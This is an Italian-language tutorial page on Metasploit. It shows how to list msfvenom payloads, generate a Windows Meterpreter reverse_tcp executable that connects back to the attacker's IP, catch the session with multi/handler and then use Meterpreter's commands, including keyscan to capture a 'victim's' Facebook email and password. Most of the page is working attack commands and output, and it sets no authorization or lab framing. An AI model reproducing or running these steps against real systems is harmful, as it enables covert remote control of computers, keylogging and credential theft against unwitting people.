\nmsf > msfvenom -l payloads\n[*] exec: msfvenom -l payloads\n\n\nFramework Payloads (539 total) [--payload ]\n==================================================\n\n Name Description\n ---- -----------\n aix\/ppc\/shell_bind_tcp Listen for a connection and spawn a command shell\n aix\/ppc\/shell_find_port Spawn a shell on an established connection\n aix\/ppc\/shell_interact Simply execve \/bin\/sh (for inetd programs)\n aix\/ppc\/shell_reverse_tcp Connect back to attacker and spawn a command shell\n android\/meterpreter\/reverse_http Run a meterpreter server in Android. Tunnel communication over HTTP\n android\/meterpreter\/reverse_https Run a meterpreter server in Android. Tunnel communication over HTTPS\n\n....................................................................................................\n\n windows\/x64\/vncinject\/bind_tcp_uuid Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for a connection with UUID Support (Windows x64)\n windows\/x64\/vncinject\/reverse_http Inject a VNC Dll via a reflective loader (Windows x64) (staged). Tunnel communication over HTTP (Windows x64 wininet)\n windows\/x64\/vncinject\/reverse_https Inject a VNC Dll via a reflective loader (Windows x64) (staged). Tunnel communication over HTTP (Windows x64 wininet)\n windows\/x64\/vncinject\/reverse_tcp Inject a VNC Dll via a reflective loader (Windows x64) (staged). Connect back to the attacker (Windows x64)\n windows\/x64\/vncinject\/reverse_tcp_rc4 Inject a VNC Dll via a reflective loader (Windows x64) (staged). Connect back to the attacker\n windows\/x64\/vncinject\/reverse_tcp_uuid Inject a VNC Dll via a reflective loader (Windows x64) (staged). Connect back to the attacker with UUID Support (Windows x64)\n windows\/x64\/vncinject\/reverse_winhttp Inject a VNC Dll via a reflective loader (Windows x64) (staged). Tunnel communication over HTTP (Windows x64 winhttp)\n windows\/x64\/vncinject\/reverse_winhttps Inject a VNC Dll via a reflective loader (Windows x64) (staged). Tunnel communication over HTTPS (Windows x64 winhttp)\nmsf >\n<\/pre>\n<\/blockquote>\n<\/div>\nIn questo esempio usare windows\/meterpreter\/reverse_tcp<\/b> che genera una “reverse shell”<\/b> che si connette al LHOST (l’indirizzo ip del sistema da dove si svolge l’attacco) sulla porta 888 appena il file viene eseguito.<\/p>\n
Visualizzare le opzioni con Msfvenom Metasploit<\/h2>\n
\n\nmsf > msfvenom -p windows\/meterpreter\/reverse_tcp --list-options\nOptions for payload\/windows\/meterpreter\/reverse_tcp:\n=========================\n\n\n Name: Windows Meterpreter (Reflective Injection), Reverse TCP Stager\n Module: payload\/windows\/meterpreter\/reverse_tcp\n Platform: Windows\n Arch: x86\nNeeds Admin: No\n Total size: 283\n Rank: Normal\n\nProvided by:\n skape <mmiller@hick.org>\n sf <stephen_fewer@harmonysecurity.com>\n OJ Reeves\n hdm <x@hdm.io>\n\nBasic options:\nName Current Setting Required Description\n---- --------------- -------- -----------\nEXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)\nLHOST yes The listen address (an interface may be specified)\nLPORT 4444 yes The listen port\n\nDescription:\n Inject the meterpreter server DLL via the Reflective Dll Injection \n payload (staged). Connect back to the attacker\nmsf > \n<\/pre>\n<\/blockquote>\n<\/div>\nCome si pu\u00f2 vedere dall’output del comando l’informazione mancante da aggiungere \u00e8 LHOST, che \u00e8 l’indirizzo IP del sistema da cui si svolge l’attacco.<\/p>\n
Scegliere il formato con Msfvenom Metasploit<\/h2>\n
Per vedere una lista dei formati disponibili usare il comando msfvenom –list formats<\/b>. In questo esempio il sistema preso di mira \u00e8 Windows quindi usere l’estensione di file “.exe”.<\/p>\n
\n\nmsf > msfvenom --list formats\n[*] exec: msfvenom --list formats\n\nFramework Executable Formats [--format ]\n===============================================\n\nName\n----\nasp\naspx\naspx-exe\naxis2\ndll\nelf\nelf-so\nexe\nexe-only\nexe-service\nexe-small\nhta-psh\njar\njsp\nloop-vbs\nmacho\nmsi\nmsi-nouac\nosx-app\npsh\npsh-cmd\npsh-net\npsh-reflection\nvba\nvba-exe\nvba-psh\nvbs\nwar\n\nFramework Transform Formats [--format ]\n==============================================\n\nName\n----\nbash\nc\ncsharp\ndw\ndword\nhex\njava\njs_be\njs_le\nnum\nperl\npl\npowershell\nps1\npy\npython\nraw\nrb\nruby\nsh\nvbapplication\nvbscript\n\nmsf >\n<\/pre>\n<\/blockquote>\n<\/div>\nCreare un Payload Standalone con Msfvenom di Metasploit<\/h2>\n
Una volta scelto il Payload<\/b> da usare si pu\u00f2 procedere con la creazione del file eseguibile. Usare “-f” per specificare il tipo di file.<\/p>\n
\n\nmsf > msfvenom -p windows\/meterpreter\/reverse_tcp LHOST=10.10.10.3 LPORT=888 -f exe > file.exe\n<\/pre>\n<\/blockquote>\n<\/div>\nIl modulo Multi\/handler di Metsploit<\/h2>\n
A questo punto abbiamo bisogno di un handler per poter instaurare una connessione una volta che la vittima esegue il file eseguibile. Per fare ci\u00f2 usare il modulo multi\/handler<\/b> con il comando “use multi\/handler<\/b>” e impostare il Payload<\/b> con relative opzioni come fatto precedentemente durante la creazione del file exe con msfvenom<\/b>. Una volta finito eseguire il comando exploit<\/b> e fare eseguire il file alla vittima subito dopo. Si aprir\u00e0 un prompt dei comandi, il meterpreter<\/b>.<\/p>\n
\n\nmsf > use multi\/handler\nmsf exploit(multi\/handler) > set PAYLOAD windows\/meterpreter\/reverse_tcp\nPAYLOAD => windows\/meterpreter\/reverse_tcp\nmsf exploit(multi\/handler) > show options \n\nModule options (exploit\/multi\/handler):\n\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n\n\nPayload options (windows\/meterpreter\/reverse_tcp):\n\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)\n LHOST yes The listen address (an interface may be specified)\n LPORT 4444 yes The listen port\n\n\nExploit target:\n\n Id Name\n -- ----\n 0 Wildcard Target\n\n\nmsf exploit(multi\/handler) > set LHOST 10.10.10.3\nLHOST => 10.10.10.3\nmsf exploit(multi\/handler) > set LPORT 888\nLPORT => 888\nmsf exploit(multi\/handler) > exploit\n\n[*] Started reverse TCP handler on 10.10.10.3:888 \n[*] Sending stage (179779 bytes) to 10.10.10.6\n[*] Meterpreter session 1 opened (10.10.10.3:888 -> 10.10.10.6:49157) at 2019-05-17 13:57:28 +0200\n\nmeterpreter >\n<\/pre>\n<\/blockquote>\n<\/div>\nUsare Meterpreter di Metasploit<\/h2>\n
Meterpreter – Help<\/h3>\n
Con il comando help<\/b> si ottiene una lista dei comandi disponibili con descrizione.<\/p>\n
\n\nmeterpreter > help\n\nCore Commands\n=============\n\n Command Description\n ------- -----------\n ? Help menu\n background Backgrounds the current session\n bgkill Kills a background meterpreter script\n bglist Lists running background scripts\n bgrun Executes a meterpreter script as a background thread\n channel Displays information or control active channels\n close Closes a channel\n disable_unicode_encoding Disables encoding of unicode strings\n enable_unicode_encoding Enables encoding of unicode strings\n exit Terminate the meterpreter session\n get_timeouts Get the current session timeout values\n guid Get the session GUID\n help Help menu\n info Displays information about a Post module\n irb Open an interactive Ruby shell on the current session\n load Load one or more meterpreter extensions\n machine_id Get the MSF ID of the machine attached to the session\n migrate Migrate the server to another process\n pivot Manage pivot listeners\n pry Open the Pry debugger on the current session\n quit Terminate the meterpreter session\n read Reads data from a channel\n resource Run the commands stored in a file\n run Executes a meterpreter script or Post module\n sessions Quickly switch to another session\n set_timeouts Set the current session timeout values\n sleep Force Meterpreter to go quiet, then re-establish session.\n transport Change the current transport mechanism\n use Deprecated alias for \"load\"\n uuid Get the UUID for the current session\n write Writes data to a channel\n\n\nStdapi: File system Commands\n============================\n\n Command Description\n ------- -----------\n cat Read the contents of a file to the screen\n cd Change directory\n checksum Retrieve the checksum of a file\n cp Copy source to destination\n dir List files (alias for ls)\n download Download a file or directory\n edit Edit a file\n getlwd Print local working directory\n getwd Print working directory\n lcd Change local working directory\n lls List local files\n lpwd Print local working directory\n ls List files\n mkdir Make directory\n mv Move source to destination\n pwd Print working directory\n rm Delete the specified file\n rmdir Remove directory\n search Search for files\n show_mount List all mount points\/logical drives\n upload Upload a file or directory\n\n\nStdapi: Networking Commands\n===========================\n\n Command Description\n ------- -----------\n arp Display the host ARP cache\n getproxy Display the current proxy configuration\n ifconfig Display interfaces\n ipconfig Display interfaces\n netstat Display the network connections\n portfwd Forward a local port to a remote service\n resolve Resolve a set of host names on the target\n route View and modify the routing table\n\n\nStdapi: System Commands\n=======================\n\n Command Description\n ------- -----------\n clearev Clear the event log\n drop_token Relinquishes any active impersonation token.\n execute Execute a command\n getenv Get one or more environment variable values\n getpid Get the current process identifier\n getprivs Attempt to enable all privileges available to the current process\n getsid Get the SID of the user that the server is running as\n getuid Get the user that the server is running as\n kill Terminate a process\n localtime Displays the target system's local date and time\n pgrep Filter processes by name\n pkill Terminate processes by name\n ps List running processes\n reboot Reboots the remote computer\n reg Modify and interact with the remote registry\n rev2self Calls RevertToSelf() on the remote machine\n shell Drop into a system command shell\n shutdown Shuts down the remote computer\n steal_token Attempts to steal an impersonation token from the target process\n suspend Suspends or resumes a list of processes\n sysinfo Gets information about the remote system, such as OS\n\n\nStdapi: User interface Commands\n===============================\n\n Command Description\n ------- -----------\n enumdesktops List all accessible desktops and window stations\n getdesktop Get the current meterpreter desktop\n idletime Returns the number of seconds the remote user has been idle\n keyscan_dump Dump the keystroke buffer\n keyscan_start Start capturing keystrokes\n keyscan_stop Stop capturing keystrokes\n screenshot Grab a screenshot of the interactive desktop\n setdesktop Change the meterpreters current desktop\n uictl Control some of the user interface components\n\n\nStdapi: Webcam Commands\n=======================\n\n Command Description\n ------- -----------\n record_mic Record audio from the default microphone for X seconds\n webcam_chat Start a video chat\n webcam_list List webcams\n webcam_snap Take a snapshot from the specified webcam\n webcam_stream Play a video stream from the specified webcam\n\n\nStdapi: Audio Output Commands\n=============================\n\n Command Description\n ------- -----------\n play play an audio file on target system, nothing written on disk\n\n\nPriv: Elevate Commands\n======================\n\n Command Description\n ------- -----------\n getsystem Attempt to elevate your privilege to that of local system.\n\n\nPriv: Password database Commands\n================================\n\n Command Description\n ------- -----------\n hashdump Dumps the contents of the SAM database\n\n\nPriv: Timestomp Commands\n========================\n\n Command Description\n ------- -----------\n timestomp Manipulate file MACE attributes\n\nmeterpreter >\n<\/pre>\n<\/blockquote>\n<\/div>\nMeterpreter – Keyscan (Keylogger)<\/h3>\n
Keyscan \u00e8 un Keylogger con cui si possono monitorare le attivit\u00e0 della tastiera dell’obbiettivo.<\/p>\n
\n\nmeterpreter > keyscan_start\nStarting the keystroke sniffer ...\nmeterpreter > keyscan_dump\nDumping captured keystrokes...\nfacebook.com\nemailvittimagmail.comPassword88\nmeterpreter > keyscan_stop\nStopping the keystroke sniffer...\nmeterpreter >\n<\/pre>\n<\/blockquote>\n<\/div>\nIn questo esempio si pu\u00f2 notare che la vittima \u00e8 andata su facebook.com e subito dopo ha immesso il nome utente (l’indirizzo email) e la password.<\/p>\n
Meterpreter – Edit (Vi)<\/h3>\n
Con il comando edit<\/b> si possono editare file di testo o crearne di nuovi con l’editore di testo Vi – l’editore di testo impostato per default. Premere sul tasto insert, aggiungere del testo, uscire dalla modalit\u00e0 con esc e eseguire “wq!”.<\/p>\n
\n\nmeterpreter > edit hackerato.txt\n<\/pre>\n<\/blockquote>\n<\/div>\nMeterpreter – Pwd, cd, ls<\/h3>\n
Con meterpreter<\/b> si possono usare comandi unix come pwd, cd, ls eccetera.<\/p>\n
![\"Vittima](\"..\/..\/..\/grafica\/vittima-windows.jpg\")
<\/h3>\n